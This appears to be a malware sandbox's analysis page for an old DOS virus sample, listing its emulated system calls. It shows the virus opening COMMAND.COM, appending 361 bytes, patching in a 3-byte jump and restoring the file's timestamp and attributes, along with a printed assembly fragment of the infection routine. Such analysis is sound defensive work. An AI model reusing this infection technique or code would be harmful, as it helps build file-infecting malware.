Sample viewer

vx.netlux.org/Virus.DOS.SillyC.361

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:11:36.338437573Z 47 PC: 12a96 | Get disk transfer address
2018-12-17T23:11:36.340337983Z 26 PC: 12aa8 | Set disk transfer address
2018-12-17T23:11:36.343135096Z 25 PC: 12ab7 | Get default drive
2018-12-17T23:11:36.34474665Z 14 PC: 12ac1 | Set default drive (Drive = 'C')
2018-12-17T23:11:36.346571857Z 78 PC: 12ace | Find first file
2018-12-17T23:11:36.355283714Z 67 PC: 12afb | Get or set file attributes
2018-12-17T23:11:36.367521178Z 67 PC: 12b08 | Get or set file attributes
2018-12-17T23:11:36.684299735Z 61 PC: 12b10 | Open file (Filename = 'COMMAND.COM')
2018-12-17T23:11:36.692940505Z 87 PC: 12b17 | Get or set file date and time
2018-12-17T23:11:36.695006225Z 44 PC: 12b25 | Get time 0x12b25: or dl, dl
0x12b27: je 0x12b21
0x12b29: mov byte ptr [bp + 0x163], dl
0x12b2d: mov ah, 0x3f
0x12b2f: lea dx, word ptr [bp + 0x156]
0x12b33: mov cx, 3
0x12b36: int 0x21
0x12b38: mov ax, 0x4202
0x12b3b: xor cx, cx
0x12b3d: xor dx, dx
0x12b3f: int 0x21
0x12b41: sub ax, 3
0x12b44: mov word ptr cs:[0xfb2d], ax
0x12b48: mov byte ptr cs:[0xfb2c], 0xe9
0x12b4e: lea si, word ptr [bp - 3]
0x12b51: nop
0x12b52: mov di, 0xfcbc
0x12b55: mov cx, 0x169
0x12b58: cld
0x12b59: rep movsb byte ptr es:[di], byte ptr [si]
2018-12-17T23:11:36.697828446Z 63 PC: 12b38 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T23:11:36.702166943Z 66 PC: 12b41 | Move file pointer
2018-12-17T23:11:36.70467105Z 64 PC: 12b6b | Write file or device (Write 361 bytes on handle 5)
2018-12-17T23:11:36.71251483Z 66 PC: 12b74 | Move file pointer
2018-12-17T23:11:36.714808805Z 64 PC: 12b7e | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:11:36.719354903Z 87 PC: 12b93 | Get or set file date and time
2018-12-17T23:11:36.721425343Z 62 PC: 12b97 | Close file
2018-12-17T23:11:36.730484887Z 67 PC: 12ba4 | Get or set file attributes
2018-12-17T23:11:36.741694111Z 26 PC: 12bb3 | Set disk transfer address
2018-12-17T23:11:36.74300301Z 14 PC: 12bbd | Set default drive (Drive = 'A')
2018-12-17T23:11:36.744481362Z 9 PC: 12a47 | Display string (String= 'IT'S HARD DROPPER - (C) 1994 by ?')